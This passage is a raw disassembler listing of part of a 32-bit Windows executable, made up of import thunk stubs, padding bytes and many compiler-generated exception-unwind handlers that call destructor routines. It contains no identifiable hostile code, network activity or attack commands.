near ; CODE XREF: sub_42C790+10p jmp near ptr 71AB664Dh sub_436F4E endp ; --------------------------------------------------------------------------- db 3Ch dd 67E16FE9h ; --------------------------------------------------------------------------- jno short near ptr word_436F82 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F5A proc near ; CODE XREF: sub_4338B0+Bp jmp near ptr 71AB94DCh sub_436F5A endp ; --------------------------------------------------------------------------- db 6Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F60 proc near ; CODE XREF: sub_41A6D0+92p ; sub_41A8C0+CAp ... jmp near ptr 71AB4544h sub_436F60 endp ; --------------------------------------------------------------------------- retf 0E990h ; --------------------------------------------------------------------------- dd 71689BE4h, 0D5A7E990h, 49E97167h, 887167BCh, 67BD92E9h dd 0E9903471h db 0E5h, 0BCh word_436F82 dw 7167h ; CODE XREF: ___:00436F58j ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F84 proc near nop jmp near ptr 71AB3EA1h sub_436F84 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 716817D9h, 0D4F3E990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F96 proc near ; CODE XREF: sub_42C810+53p ; sub_42C810+C3p nop jmp near ptr 71ABE6EBh sub_436F96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F9C proc near ; CODE XREF: sub_42DFD0+4Ap nop jmp near ptr 71AC0BDEh sub_436F9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FA2 proc near nop jmp near ptr 71AB2A5Eh sub_436FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FA8 proc near ; CODE XREF: ___:0041C1B7p ; ___:0041C1CCp nop jmp near ptr 71B2578Ch sub_436FA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FAE proc near ; CODE XREF: ___:0041C30Dp ; ___:0041C32Fp nop jmp near ptr 71B25099h sub_436FAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FB4 proc near ; CODE XREF: sub_41FF90+B4p nop jmp near ptr 76BF215Ah sub_436FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FBA proc near ; CODE XREF: sub_41FF90+9Bp nop jmp near ptr 76BF1F1Ch sub_436FBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436FC0 proc near ; CODE XREF: sub_41FF90+21p jmp near ptr 76BF3A9Ah sub_436FC0 endp ; --------------------------------------------------------------------------- db 2Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FC6 proc near ; CODE XREF: ___:0041B1B4p nop jmp near ptr 76F36C5Bh sub_436FC6 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 7Ch, 0F2h dword_436FD0 dd 0E9907780h, 7780F14Dh, 80F193E9h, 0E9905D77h, 7780F33Ch dd 2C7h dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh, 8DFFFC97h dd 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9705E9h dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh, 0E083FFFFh dd 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h ; --------------------------------------------------------------------------- inc ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4034E0 proc near ; DATA XREF: sub_4034E0+2o mov eax, offset dword_43E470 jmp sub_4367C8 SEH_4034E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AD2 ; --------------------------------------------------------------------------- loc_437B7B: ; DATA XREF: ___:0043E4ECo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40206D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40206D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40206D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40206D ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4036D0 proc near ; DATA XREF: sub_4036D0+2o mov eax, offset dword_43E4C0 jmp sub_4367C8 SEH_4036D0 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403C00 proc near ; DATA XREF: sub_403C00+2o mov eax, offset dword_43E700 jmp sub_4367C8 SEH_403C00 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_437FC8: ; DATA XREF: ___:0043E75Co mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403C90 proc near ; DATA XREF: sub_403C90+2o mov eax, offset dword_43E730 jmp sub_4367C8 SEH_403C90 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_437FF8: ; DATA XREF: ___:0043E794o mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403D10 proc near ; DATA XREF: sub_403D10+2o mov eax, offset dword_43E768 jmp sub_4367C8 SEH_403D10 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403D90 proc near ; DATA XREF: sub_403D90+2o mov eax, offset dword_43E7A0 jmp sub_4367C8 SEH_403D90 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401AD2 ; --------------------------------------------------------------------------- loc_438048: ; DATA XREF: ___:0043E7FCo mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AD2 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403E00 proc near ; DATA XREF: sub_403E00+2o mov eax, offset dword_43E7D0 jmp sub_4367C8 SEH_403E00 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401AD2 ; --------------------------------------------------------------------------- loc_4380C8: ; DATA XREF: ___:0043E85Co mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AD2 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403EE0 proc near ; DATA XREF: sub_403EE0+2o mov eax, offset dword_43E830 jmp sub_4367C8 SEH_403EE0 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403FC0 proc near ; DATA XREF: sub_403FC0+2o mov eax, offset dword_43E890 jmp sub_4367C8 SEH_403FC0 endp ; --------------------------------------------------------------------------- db 2Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438208: ; DATA XREF: ___:0043E974o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404640 proc near ; DATA XREF: sub_404640+2o mov eax, offset dword_43E948 jmp sub_4367C8 SEH_404640 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43828B: ; DATA XREF: ___:0043E9FCo lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438296: ; DATA XREF: ___:0043EA04o lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-134h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E8h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404C70 proc near ; DATA XREF: sub_404C70+8o mov eax, offset dword_43E9D0 jmp sub_4367C8 SEH_404C70 endp ; --------------------------------------------------------------------------- db 8Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_438530: ; DATA XREF: ___:0043EBD4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-28h] and eax, 1 test eax, eax jz locret_43854E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43854E: ; CODE XREF: ___:00438540j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4066E0 proc near ; DATA XREF: sub_4066E0+2o mov eax, offset dword_43EBA8 jmp sub_4367C8 SEH_4066E0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- loc_438570: ; DATA XREF: ___:0043EC0Co lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-198h] and eax, 1 test eax, eax jz locret_438594 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_438594: ; CODE XREF: ___:00438586j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406890 proc near ; DATA XREF: sub_406890+2o mov eax, offset dword_43EBE0 jmp sub_4367C8 SEH_406890 endp ; --------------------------------------------------------------------------- db 11h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-454h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4385BB: ; DATA XREF: ___:0043EC44o lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4385C6: ; DATA XREF: ___:0043EC4Co lea ecx, [ebp-424h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406C30 proc near ; DATA XREF: sub_406C30+8o mov eax, offset dword_43EC18 jmp sub_4367C8 SEH_406C30 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407030 proc near ; DATA XREF: sub_407030+2o mov eax, offset dword_43EC58 jmp sub_4367C8 SEH_407030 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407660 proc near ; DATA XREF: sub_407660+8o mov eax, offset dword_43EC88 jmp sub_4367C8 SEH_407660 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438638: ; DATA XREF: ___:0043ECE4o lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4076F0 proc near ; DATA XREF: sub_4076F0+8o mov eax, offset dword_43ECB8 jmp sub_4367C8 SEH_4076F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-174h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43865B: ; DATA XREF: ___:0043ED1Co lea ecx, [ebp-2DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-204h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-234h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-264h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-27Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-15Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-114h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-144h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-294h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-330h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-318h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-34Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-12Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0FCh] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-300h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2FCh] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407790 proc near ; DATA XREF: sub_407790+2o mov eax, offset dword_43ECF0 jmp sub_4367C8 SEH_407790 endp ; --------------------------------------------------------------------------- db 0CAh dup(0CCh) dd 90C84D8Dh, 0C56A4CE9h db 75h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_409580 proc near ; DATA XREF: sub_409580+2o mov eax, offset dword_43F098 jmp sub_4367C8 SEH_409580 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A290 proc near ; DATA XREF: sub_40A290+2o mov eax, offset dword_43F0C8 jmp sub_4367C8 SEH_40A290 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-38h] and eax, 1 test eax, eax jz 